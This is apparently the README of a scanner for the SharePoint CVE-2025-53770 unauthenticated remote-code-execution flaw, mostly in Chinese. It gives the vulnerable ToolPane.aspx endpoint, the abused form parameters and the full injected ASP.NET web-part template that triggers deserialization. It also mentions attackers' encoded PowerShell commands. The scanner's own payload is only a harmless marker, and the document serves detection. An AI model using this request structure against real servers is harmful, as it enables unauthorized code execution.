
Scanner for the SharePoint CVE-2025-53770 RCE zero day vulnerability.
这是一个针对 SharePoint 未认证远程代码执行漏洞 的扫描器,漏洞编号为 CVE-2025-53770。
该代码是通过逆向分析一个在野外见到的 payload 编写的。
使用风险自负,我对可能造成的任何负面影响概不负责。
它尝试通过向 SharePoint ToolBox 控件中注入一个标记来利用该漏洞。
如果在 SharePoint 服务器的响应中找到这个无害的标记,则该主机被标记为易受攻击。
# 检查 <TARGET-HOSTNAME> 是否易受攻击,并尝试提取版本信息
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# 开启调试日志并尝试检索 SharePoint 版本信息
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
任何运行 SharePoint Server on-prem 版本且未安装 KB5002768 和 KB5002754 的用户。
该漏洞可能基于之前披露的 SharePoint 漏洞 CVE-2025-49706。
通过向 https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx 发送一个带有 GZIP 压缩、BASE64 编码的 payload 的 HTTP POST 请求,您可以在 SharePoint 运行时进程中实现远程代码执行。
这里有两个重要的表单参数:
MSOTlPn_Uri:控制源路径
它假装引用一个合法的 SharePoint 控件(AclEditor.ascx),并欺骗 SharePoint 允许 web part 编辑。
这似乎只是为了通过验证而设置的模拟/假值。
原始恶意 payload 包含 MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx,但此时似乎并未使用。
MSOTlPn_DWP:Web 部分配置
该参数注入自定义 ASP.NET 指令(<%@ Register %>)和服务器端标记(<Scorecard:ExcelDataSet>)。
CompressedDataTable 参数持有攻击者控制的序列化数据(GZIP + base64),触发 RCE。
此 payload 遵循某种结构:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
如果存在像 Scorecard:ExcelDataSet 这样的控件并且其 CompressedDataTable 属性被设置,那么它会被 SharePoint DWP 解析器直接反序列化。
Payload 本身可能相当有趣,因为它可以包含一个 System.DelegateSerializationHolder,这会触发反序列化 RCE。
威胁行为者滥用这一点,在其 payload 中传递 /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> 以实现代码执行。
在我们的例子中,我们只是传递一个静态占位符来证明可利用性;
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>